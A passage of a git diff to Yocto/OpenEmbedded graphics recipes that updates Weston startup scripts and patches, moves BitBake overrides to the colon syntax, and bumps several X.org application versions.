+CONFFILES:${PN} += "${sysconfdir}/xdg/weston/weston.ini ${sysconfdir}/default/weston"
-SYSTEMD_SERVICE_${PN} = "weston.service weston.socket"
-USERADD_PARAM_${PN} = "--home /home/weston --shell /bin/sh --user-group -G video,input weston"
-GROUPADD_PARAM_${PN} = "-r wayland"
+SYSTEMD_SERVICE:${PN} = "weston.service weston.socket"
+USERADD_PARAM:${PN} = "--home /home/weston --shell /bin/sh --user-group -G video,input weston"
+GROUPADD_PARAM:${PN} = "-r wayland"
diff --git a/meta/recipes-graphics/wayland/weston-init/init b/meta/recipes-graphics/wayland/weston-init/init
index d3e87c6cef..a849f29bcb 100644
--- a/meta/recipes-graphics/wayland/weston-init/init
+++ b/meta/recipes-graphics/wayland/weston-init/init
@@ -30,6 +30,7 @@ done
case "$1" in
start)
. /etc/profile
+ export HOME=ROOTHOME
weston-start -- $OPTARGS
;;
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-start b/meta/recipes-graphics/wayland/weston-init/weston-start
index 0b93dc964a..0f1bc4c29d 100755
--- a/meta/recipes-graphics/wayland/weston-init/weston-start
+++ b/meta/recipes-graphics/wayland/weston-init/weston-start
@@ -21,6 +21,14 @@ add_weston_argument() {
# Add openvt extra argument
add_openvt_argument() {
openvt_args="$openvt_args $1"
+
+}
+## Add module to --modules argument
+add_weston_module() {
+ if [[ "x${weston_modules}" == "x" ]]; then
+ weston_modules="--modules "
+ fi;
+ weston_modules+="${1},"
}
if [ -n "$WAYLAND_DISPLAY" ]; then
@@ -68,6 +76,9 @@ if [ -d "$modules_dir" ]; then
# process module
. $m
+ if [[ x"{$weston_modules}" != "x" ]]; then
+ add_weston_argument "${weston_modules}"
+ fi;
done
fi
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.ini b/meta/recipes-graphics/wayland/weston-init/weston.ini
index b48726d59c..6bd5aef55a 100644
--- a/meta/recipes-graphics/wayland/weston-init/weston.ini
+++ b/meta/recipes-graphics/wayland/weston-init/weston.ini
@@ -42,7 +42,7 @@ require-input=false
#path=/build/weston-0lEgCh/weston-1.11.0/weston-flower
#[input-method]
-#path=/usr/lib/weston/weston-keyboard
+#path=/usr/libexec/weston-keyboard
#[output]
#name=LVDS1
diff --git a/meta/recipes-graphics/wayland/weston/0001-libweston-backend-drm-Re-order-gbm-destruction-at-DR.patch b/meta/recipes-graphics/wayland/weston/0001-libweston-backend-drm-Re-order-gbm-destruction-at-DR.patch
new file mode 100644
index 0000000000..f8f7589499
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/0001-libweston-backend-drm-Re-order-gbm-destruction-at-DR.patch
@@ -0,0 +1,50 @@
+From c8bfa1f8d576cdc6d515dbbac36c48c6166be0d5 Mon Sep 17 00:00:00 2001
+From: Marius Vlad <marius.vlad@collabora.com>
+Date: Thu, 1 Apr 2021 00:12:00 +0300
+Subject: [PATCH] libweston/backend-drm: Re-order gbm destruction at DRM-backend tear down
+
+Tearing down the drm-backend when there are no input devices, would call
+for the gbm device destruction before compositor shutdown. The latter
+would call into the renderer detroy function and assume that the
+EGLDisplay, which was created using the before-mentioned gbm device, is
+still available. This patch re-orders the gbm destruction after the
+compositor shutdown when no one would make use of it.
+
+Fixes: #314
+
+Signed-off-by: Marius Vlad <marius.vlad@collabora.com>
+Suggested-by: Daniel Stone <daniel.stone@collabora.com>
+
+Upstream-Status: Backport [https://gitlab.freedesktop.org/wayland/weston/-/commit/d171c7b3ba346c4d0bd6494f45ebf0be3c3cc5fb]
+---
+ libweston/backend-drm/drm.c | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/libweston/backend-drm/drm.c b/libweston/backend-drm/drm.c
+index 2780f3b..fbcfeca 100644
+--- a/libweston/backend-drm/drm.c
++++ b/libweston/backend-drm/drm.c
+@@ -3025,10 +3025,6 @@ err_drm_source:
+ err_udev_input:
+ udev_input_destroy(&b->input);
+ err_sprite:
+-#ifdef BUILD_DRM_GBM
+- if (b->gbm)
+- gbm_device_destroy(b->gbm);
+-#endif
+ destroy_sprites(b);
+ err_udev_dev:
+ udev_device_unref(drm_device);
+@@ -3038,6 +3034,10 @@ err_launcher:
+ weston_launcher_destroy(compositor->launcher);
+ err_compositor:
+ weston_compositor_shutdown(compositor);
++#ifdef BUILD_DRM_GBM
++ if (b->gbm)
++ gbm_device_destroy(b->gbm);
++#endif
+ free(b);
+ return NULL;
+ }
+--
+2.33.0
diff --git a/meta/recipes-graphics/wayland/weston/0001-meson.build-fix-incorrect-header.patch b/meta/recipes-graphics/wayland/weston/0001-meson.build-fix-incorrect-header.patch
new file mode 100644
index 0000000000..06e0f7baec
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/0001-meson.build-fix-incorrect-header.patch
@@ -0,0 +1,32 @@
+From a2ba4714a6872e547621d29d9ddcb0f374b88cf6 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 20 Apr 2021 20:42:18 -0700
+Subject: [PATCH] meson.build: fix incorrect header
+
+The wayland.c actually include 'xdg-shell-client-protocol.h' instead of
+the server one, so fix it. Otherwise, it's possible to get build failure
+due to race condition.
+
+Upstream-Status: Pending
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ libweston/backend-wayland/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libweston/backend-wayland/meson.build b/libweston/backend-wayland/meson.build
+index 7e82513..29270b5 100644
+--- a/libweston/backend-wayland/meson.build
++++ b/libweston/backend-wayland/meson.build
+@@ -10,7 +10,7 @@ srcs_wlwl = [
+ fullscreen_shell_unstable_v1_protocol_c,
+ presentation_time_protocol_c,
+ presentation_time_server_protocol_h,
+- xdg_shell_server_protocol_h,
++ xdg_shell_client_protocol_h,
+ xdg_shell_protocol_c,
+ ]
+
+--
+2.30.2
+
diff --git a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch b/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
index 3279a728cc..f6ebfd8f61 100644
--- a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
+++ b/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
@@ -11,7 +11,7 @@ Since starting weston as root is a valid use case by itself, if
PAM is not available, provide a default version of weston-launch
without non-root-user support.
-Upstream-Status: Pending
+Upstream-Status: Denied [https://gitlab.freedesktop.org/wayland/weston/-/merge_requests/725]
Signed-off-by: Tom Hochstein <tom.hochstein@nxp.com>
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
diff --git a/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
new file mode 100644
index 0000000000..a97e7b38d9
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# SPDX-FileCopyrightText: Huawei Inc.
+# SPDX-License-Identifier: Apache-2.0
+
+
+if [[ -x "/usr/lib/weston/systemd-notify.so" ]]; then
+ add_weston_module "systemd-notify.so"
+fi
diff --git a/meta/recipes-graphics/wayland/weston/xwayland.weston-start b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
index b483c97cf1..db384b1a53 100644
--- a/meta/recipes-graphics/wayland/weston/xwayland.weston-start
+++ b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
@@ -2,6 +2,4 @@
if type Xwayland >/dev/null 2>/dev/null; then
mkdir -p /tmp/.X11-unix
-
- add_weston_argument "--modules=xwayland.so"
fi
diff --git a/meta/recipes-graphics/wayland/weston_9.0.0.bb b/meta/recipes-graphics/wayland/weston_9.0.0.bb
index 8cb105c785..59ab217a3b 100644
--- a/meta/recipes-graphics/wayland/weston_9.0.0.bb
+++ b/meta/recipes-graphics/wayland/weston_9.0.0.bb
@@ -9,11 +9,14 @@ SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
file://weston.png \
file://weston.desktop \
file://xwayland.weston-start \
+ file://systemd-notify.weston-start \
file://0001-weston-launch-Provide-a-default-version-that-doesn-t.patch \
file://0001-tests-include-fcntl.h-for-open-O_RDWR-O_CLOEXEC-and-.patch \
+ file://0001-meson.build-fix-incorrect-header.patch \
+ file://0001-libweston-backend-drm-Re-order-gbm-destruction-at-DR.patch \
"
-SRC_URI_append_libc-musl = " file://dont-use-plane-add-prop.patch "
+SRC_URI:append:libc-musl = " file://dont-use-plane-add-prop.patch "
SRC_URI[sha256sum] = "5cf5d6ce192e0eb15c1fc861a436bf21b5bb3b91dbdabbdebe83e1f83aa098fe"
@@ -31,7 +34,7 @@ LDFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'lto', '-Wl,-z,undefs', '',
WESTON_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:1])}"
-EXTRA_OEMESON += "-Dbackend-default=auto -Dbackend-rdp=false -Dpipewire=false"
+EXTRA_OEMESON += "-Dbackend-default=auto -Dpipewire=false"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'kms fbdev wayland egl clients', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 wayland', 'xwayland', '', d)} \
@@ -57,6 +60,8 @@ PACKAGECONFIG[x11] = "-Dbackend-x11=true,-Dbackend-x11=false,virtual/libx11 libx
PACKAGECONFIG[headless] = "-Dbackend-headless=true,-Dbackend-headless=false"
# Weston on framebuffer
PACKAGECONFIG[fbdev] = "-Dbackend-fbdev=true,-Dbackend-fbdev=false,udev mtdev"
+# Weston on RDP
+PACKAGECONFIG[rdp] = "-Dbackend-rdp=true,-Dbackend-rdp=false,freerdp"
# weston-launch
PACKAGECONFIG[launch] = "-Dweston-launch=true,-Dweston-launch=false,drm"
# VA-API desktop recorder
@@ -76,7 +81,7 @@ PACKAGECONFIG[colord] = "-Dcolor-management-colord=true,-Dcolor-management-color
# Clients support
PACKAGECONFIG[clients] = "-Dsimple-clients=all -Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
# Virtual remote output with GStreamer on DRM backend
-PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer1.0"
+PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer1.0 gstreamer1.0-plugins-base"
# Weston with PAM support
PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam"
# Weston with screen-share support
@@ -90,7 +95,7 @@ PACKAGECONFIG[shell-ivi] = "-Dshell-ivi=true,-Dshell-ivi=false"
# JPEG image loading support
PACKAGECONFIG[image-jpeg] = "-Dimage-jpeg=true,-Dimage-jpeg=false, jpeg"
-do_install_append() {
+do_install:append() {
# Weston doesn't need the .la files to load modules, so wipe them
rm -f ${D}/${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.la
@@ -107,6 +112,10 @@ do_install_append() {
install -Dm 644 ${WORKDIR}/xwayland.weston-start ${D}${datadir}/weston-start/xwayland
fi
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'yes', 'no', d)}" = "yes" ]; then
+ install -Dm 644 ${WORKDIR}/systemd-notify.weston-start ${D}${datadir}/weston-start/systemd-notify
+ fi
+
if [ "${@bb.utils.contains('PACKAGECONFIG', 'launch', 'yes', 'no', d)}" = "yes" ]; then
chmod u+s ${D}${bindir}/weston-launch
fi
@@ -115,20 +124,20 @@ do_install_append() {
PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', '${PN}-xwayland', '', d)} \
libweston-${WESTON_MAJOR_VERSION} ${PN}-examples"
-FILES_${PN}-dev += "${libdir}/${BPN}/libexec_weston.so"
-FILES_${PN} = "${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so* ${datadir}"
+FILES:${PN}-dev += "${libdir}/${BPN}/libexec_weston.so"
+FILES:${PN} = "${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so* ${datadir}"
-FILES_libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
-SUMMARY_libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
+FILES:libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
+SUMMARY:libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
-FILES_${PN}-examples = "${bindir}/*"
+FILES:${PN}-examples = "${bindir}/*"
-FILES_${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
-RDEPENDS_${PN}-xwayland += "xserver-xorg-xwayland"
+FILES:${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
+RDEPENDS:${PN}-xwayland += "xwayland"
-RDEPENDS_${PN} += "xkeyboard-config"
-RRECOMMENDS_${PN} = "weston-init liberation-fonts"
-RRECOMMENDS_${PN}-dev += "wayland-protocols"
+RDEPENDS:${PN} += "xkeyboard-config"
+RRECOMMENDS:${PN} = "weston-init liberation-fonts"
+RRECOMMENDS:${PN}-dev += "wayland-protocols"
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system weston-launch"
+GROUPADD_PARAM:${PN} = "--system weston-launch"
diff --git a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
index c2995f99ff..573ab7b93d 100644
--- a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
+++ b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
@@ -52,9 +52,9 @@ do_install() {
sed -i "s:@NO_CURSOR_ARG@:${NO_CURSOR_ARG}:" ${D}${sysconfdir}/default/xserver-nodm
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_unitdir}/system/xserver-nodm.service
- sed -i "s:@USER@:${XUSER}:" ${D}${systemd_unitdir}/system/xserver-nodm.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_system_unitdir}/xserver-nodm.service
+ sed -i "s:@USER@:${XUSER}:" ${D}${systemd_system_unitdir}/xserver-nodm.service
fi
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
@@ -63,10 +63,10 @@ do_install() {
fi
}
-RDEPENDS_${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account libcap libcap-bin', '', d)}"
+RDEPENDS:${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account libcap libcap-bin', '', d)}"
INITSCRIPT_NAME = "xserver-nodm"
INITSCRIPT_PARAMS = "start 9 5 . stop 20 0 1 2 3 6 ."
-SYSTEMD_SERVICE_${PN} = "xserver-nodm.service"
+SYSTEMD_SERVICE:${PN} = "xserver-nodm.service"
-RCONFLICTS_${PN} = "xserver-common (< 1.34-r9) x11-common"
+RCONFLICTS:${PN} = "xserver-common (< 1.34-r9) x11-common"
diff --git a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
index a4ab7f6eb8..f484f537c1 100644
--- a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
+++ b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
@@ -17,4 +17,4 @@ S = "${WORKDIR}/git"
inherit autotools allarch
-FILES_${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
+FILES:${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
diff --git a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
index 65348c3762..b77c940dde 100644
--- a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
+++ b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
@@ -1,4 +1,7 @@
SUMMARY = "Touchscreen calibration data from xinput-calibrator"
+DESCRIPTION = "A generic touchscreen calibration program for X.Org"
+HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xinput_calibrator/"
+BUGTRACKER = "https://github.com/tias/xinput_calibrator/issues"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -17,4 +20,4 @@ do_install() {
}
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/pointercal.xinput"
+CONFFILES:${PN} = "${sysconfdir}/pointercal.xinput"
diff --git a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
index d2a16643fe..49c42bd68a 100644
--- a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
+++ b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
@@ -12,7 +12,7 @@ inherit autotools pkgconfig features_check
REQUIRED_DISTRO_FEATURES = "x11"
SRCREV = "18ec53f1cada39f905614ebfaffed5c7754ecf46"
-SRC_URI = "git://github.com/kreijack/xinput_calibrator.git;branch=libinput \
+SRC_URI = "git://github.com/kreijack/xinput_calibrator.git;branch=libinput;protocol=https \
file://30xinput_calibrate.sh \
file://Allow-xinput_calibrator_pointercal.sh-to-be-run-as-n.patch \
file://0001-calibrator.hh-Include-string-to-get-std-string.patch \
@@ -23,7 +23,7 @@ S = "${WORKDIR}/git"
# force native X11 ui as we don't have gtk+ in DEPENDS
EXTRA_OECONF += "--with-gui=x11"
-do_install_append() {
+do_install:append() {
install -d ${D}${bindir}
install -m 0755 ${S}/scripts/xinput_calibrator_pointercal.sh ${D}${bindir}/xinput_calibrator_once.sh
@@ -34,6 +34,6 @@ do_install_append() {
sed -e 's,^Exec=.*,Exec=${bindir}/xinput_calibrator_once.sh,' ${S}/scripts/xinput_calibrator.desktop > ${D}${sysconfdir}/xdg/autostart/xinput_calibrator.desktop
}
-FILES_${PN} += "${sysconfdir}/xdg/autostart"
-RDEPENDS_${PN} = "xinput formfactor"
-RRECOMMENDS_${PN} = "pointercal-xinput"
+FILES:${PN} += "${sysconfdir}/xdg/autostart"
+RDEPENDS:${PN} = "xinput formfactor"
+RRECOMMENDS:${PN} = "pointercal-xinput"
diff --git a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
index a767ee847b..2d0c51a423 100644
--- a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
+++ b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
@@ -11,7 +11,7 @@ is used by the mkfontdir program."
DEPENDS = "util-macros-native zlib libfontenc freetype xorgproto"
PROVIDES += "mkfontdir"
-RPROVIDES_${PN} += "mkfontdir"
+RPROVIDES:${PN} += "mkfontdir"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb b/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
index c3e853631b..db287a5b57 100644
--- a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
+++ b/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
@@ -13,4 +13,4 @@ PE = "1"
SRC_URI[md5sum] = "eab5bbd7642e5c784429307ec210d198"
SRC_URI[sha256sum] = "bbca7c6aa59939b9f6a0fb9fff15dfd62176420ffd4ae30c8d92a6a125fbe6b0"
-FILES_${PN} += "${datadir}/X11"
+FILES:${PN} += "${datadir}/X11"
diff --git a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
index c4d443bfb9..651d03caca 100644
--- a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
+++ b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
@@ -17,11 +17,11 @@ inherit multilib_script
MULTILIB_SCRIPTS = "${PN}:${bindir}/x11perfcomp"
-do_install_append_class-target () {
+do_install:append:class-target () {
sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${bindir}/x11perfcomp
}
-FILES_${PN} += "${libdir}/X11/x11perfcomp/*"
+FILES:${PN} += "${libdir}/X11/x11perfcomp/*"
SRC_URI[md5sum] = "e96b56756990c56c24d2d02c2964456b"
SRC_URI[sha256sum] = "1c7e0b8ffc2794b4ccf11e04d551823abe0ea47b4f7db0637390db6fbe817c34"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb
new file mode 100644
index 0000000000..48259a69ff
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xauth_1.1.1.bb
@@ -0,0 +1,14 @@
+require xorg-app-common.inc
+SUMMARY = "X authority utilities"
+DESCRIPTION = "X application to edit and display the authorization \
+information used in connecting to the X server."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
+
+DEPENDS += "libxau libxext libxmu"
+PE = "1"
+
+SRC_URI[sha256sum] = "164ea0a29137b284a47b886ef2affcb0a74733bf3aad04f9b106b1a6c82ebd92"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.bb
deleted file mode 100644
index 24ad9606ec..0000000000
--- a/meta/recipes-graphics/xorg-app/xauth_1.1.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require xorg-app-common.inc
-SUMMARY = "X authority utilities"
-DESCRIPTION = "X application to edit and display the authorization \
-information used in connecting to the X server."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
-
-DEPENDS += "libxau libxext libxmu"
-PE = "1"
-
-SRC_URI[md5sum] = "e50587c1bb832aafd1a19d91a0890a0b"
-SRC_URI[sha256sum] = "6d1dd1b79dd185107c5b0fdd22d1d791ad749ad6e288d0cdf80964c4ffa7530c"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb b/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
deleted file mode 100644
index 06885f8f53..0000000000
--- a/meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X11 eyes that follow the mouse cursor demo"
-DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
-follow the location of the mouse cursor around the screen."
-
-PE = "1"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
-
-SRC_URI[md5sum] = "6f0543ec84283df5743eeafc173bea4a"
-SRC_URI[sha256sum] = "57bcec0d2d167af9e5d44d0dbd74c6d7c0f0591cd0608952b23c749fdd910553"
-
-DEPENDS += "libxau libxt libxext libxmu libxrender"
diff --git a/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb b/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb
new file mode 100644
index 0000000000..73d09f058d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb
@@ -0,0 +1,13 @@
+require xorg-app-common.inc
+
+SUMMARY = "X11 eyes that follow the mouse cursor demo"
+DESCRIPTION = "Xeyes is a small X11 application that shows a pair of eyes that move to \
+follow the location of the mouse cursor around the screen."
+
+PE = "1"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3ea51b365051ac32d1813a7dbaa4bfc6"
+
+SRC_URI[sha256sum] = "f8a17e23146bef1ab345a1e303c6749e42aaa7bcf4f25428afad41770721b6db"
+
+DEPENDS += "libxau libxt libxext libxmu libxrender libxi"
diff --git a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb b/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
index 301ea1c243..e6ebf273e8 100644
--- a/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
+++ b/meta/recipes-graphics/xorg-app/xinit_1.4.1.bb
@@ -22,4 +22,4 @@ EXTRA_OECONF = "ac_cv_path_MCOOKIE=${bindir}/mcookie"
PACKAGECONFIG ??= "rxvt"
PACKAGECONFIG[rxvt] = "--with-xterm=rxvt,,,rxvt-unicode"
-RDEPENDS_${PN} += "util-linux-mcookie"
+RDEPENDS:${PN} += "util-linux-mcookie"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb
deleted file mode 100644
index 2fa79c8438..0000000000
--- a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.3.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to compile XKB keyboard description"
-
-DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
-XKB keymap into one of several output formats. The most common use for \
-xkbcomp is to create a compiled keymap file (.xkm extension) which can \
-be read directly by XKB-capable X servers or utilities."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=08436e4f4476964e2e2dd7e7e41e076a"
-
-DEPENDS += "libxkbfile"
-
-BBCLASSEXTEND = "native"
-
-EXTRA_OECONF += "--disable-selective-werror"
-
-SRC_URI[md5sum] = "6e4751d99373f85d459ab4dff28893f5"
-SRC_URI[sha256sum] = "06242c169fc11caf601cac46d781d467748c6a330e15b36dce46520b8ac8d435"
diff --git a/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb
new file mode 100644
index 0000000000..657ec7580d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb
@@ -0,0 +1,18 @@
+require xorg-app-common.inc
+
+SUMMARY = "A program to compile XKB keyboard description"
+
+DESCRIPTION = "The xkbcomp keymap compiler converts a description of an \
+XKB keymap into one of several output formats. The most common use for \
+xkbcomp is to create a compiled keymap file (.xkm extension) which can \
+be read directly by XKB-capable X servers or utilities."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=be5e191f04d3f2cd80aa83b928ba984c"
+
+DEPENDS += "libxkbfile"
+
+BBCLASSEXTEND = "native"
+
+EXTRA_OECONF += "--disable-selective-werror"
+
+SRC_URI[sha256sum] = "6851086c4244b6fd0cc562880d8ff193fb2bbf1e141c73632e10731b31d4b05e"
diff --git a/meta/recipes-graphics/xorg-app/xorg-app-common.inc b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
index cb8cf4f5fa..1a20099880 100644
--- a/meta/recipes-graphics/xorg-app/xorg-app-common.inc
+++ b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
@@ -12,4 +12,4 @@ SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.bz2"
inherit autotools pkgconfig features_check
-FILES_${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
+FILES:${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
deleted file mode 100644
index 3280813ef8..0000000000
--- a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Utility to display window and font properties of an X server"
-
-DESCRIPTION = "The xprop utility is for displaying window and font \
-properties in an X server. One window or font is selected using the \
-command line arguments or possibly in the case of a window, by clicking \
-on the desired window. A list of properties is then given, possibly with \
-formatting information."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
-
-DEPENDS += "libxmu"
-
-PE = "1"
-
-SRC_URI[md5sum] = "cc369c28383a5d7144e7197ee7d30bfa"
-SRC_URI[sha256sum] = "8c77fb096e46c60032b7e2bde9492c3ffcc18734f50b395085a5f10bfd3cf753"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb
new file mode 100644
index 0000000000..b1589a8d75
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "Utility to display window and font properties of an X server"
+
+DESCRIPTION = "The xprop utility is for displaying window and font \
+properties in an X server. One window or font is selected using the \
+command line arguments or possibly in the case of a window, by clicking \
+on the desired window. A list of properties is then given, possibly with \
+formatting information."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
+
+DEPENDS += "libxmu"
+
+PE = "1"
+
+SRC_URI[sha256sum] = "9b92ed0316bf2486121d8bac88bd1878f16b43bd335f18009b1f941f1eca93a1"
